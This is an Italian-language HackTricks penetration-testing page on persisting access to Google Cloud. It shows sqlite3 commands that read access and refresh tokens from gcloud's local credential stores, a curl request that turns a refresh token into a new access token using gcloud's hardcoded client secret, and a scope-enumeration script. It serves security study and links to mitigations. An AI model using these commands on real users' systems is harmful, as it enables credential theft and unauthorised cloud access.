# GCP - Persistenza dei token

{{#include ../../../banners/hacktricks-training.md}}

### Token utente autenticato

Per ottenere il **token corrente** di un utente puoi eseguire:

<details>

<summary>Get access token from SQLite database</summary>
```bash
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
```
</details>

Controlla in questa pagina come **usare direttamente questo token con gcloud**:

{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp
{{#endref}}

Per ottenere i dettagli per **generare un nuovo access token** esegui:

<details>

<summary>Ottieni il refresh token dal database SQLite</summary>
```bash
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
```
</details>

È anche possibile trovare refresh tokens in **`$HOME/.config/gcloud/application_default_credentials.json`** e in **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.

Per ottenere un nuovo access token rinnovato con il **refresh token**, il client ID e il client secret esegui:

<details>

<summary>Ottieni un nuovo access token usando il refresh token</summary>
```bash
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
```
</details>

La validità dei refresh tokens può essere gestita in **Admin** > **Security** > **Google Cloud session control**, e di default è impostata a 16h anche se può essere impostata su non scadere mai:

<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>

### Flusso di autenticazione

Il flusso di autenticazione quando si usa qualcosa come `gcloud auth login` aprirà una finestra nel browser e, dopo aver accettato tutti gli scopes, il browser invierà una richiesta come questa alla porta http aperta dallo strumento:
```
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
```
Poi, gcloud userà lo state e il code con un some hardcoded `client_id` (`32555940559.apps.googleusercontent.com`) e **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) per ottenere i **final refresh token data**.

> [!CAUTION]
> Nota che la comunicazione con localhost avviene su HTTP, quindi è possibile intercettare i dati per ottenere un refresh token; tuttavia questi dati sono validi solo una volta, quindi sarebbe inutile — è più semplice leggere il refresh token dal file.

### Ambiti OAuth

Puoi trovare tutti gli scope di Google in [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) o ottenerli eseguendo:

<details>

<summary>Ottieni tutti gli scope OAuth di Google</summary>
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
```
</details>

È possibile vedere quali scope l'applicazione che **`gcloud`** usa per autenticarsi può supportare con questo script:

<details>

<summary>Test degli scope supportati per gcloud</summary>
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope         \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done
```
</details>

Dopo averla eseguita è stato verificato che questa app supporta questi scopes:
```
https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email
```
È interessante vedere come questa app supporti lo scope **`drive`**, il quale potrebbe permettere a un utente di escalation da GCP a Workspace se un attacker riesce a costringere l'utente a generare un token con questo scope.

**Vedi come** [**abusarne qui**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.**

### Service Accounts

Proprio come con gli utenti autenticati, se riesci a **compromettere il file della private key** di un service account sarai in grado di **accedere solitamente per tutto il tempo che vuoi**.\
Tuttavia, se rubi il **OAuth token** di un service account questo può essere ancora più interessante, perché, anche se di default questi token sono utili solo per un'ora, se la **victim cancella la private api key, l'OAuth token resterà comunque valido fino alla sua scadenza**.

### Metadata

Ovviamente, finché sei all'interno di una macchina che gira nell'ambiente GCP potrai **accedere al service account associato a quella macchina contattando il metadata endpoint** (nota che gli OAuth tokens che puoi ottenere in questo endpoint sono solitamente limitati da scopes).

### Mitigations

Alcune mitigazioni per queste tecniche sono spiegate in [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)

### Riferimenti

- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1)
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)

{{#include ../../../banners/hacktricks-training.md}}
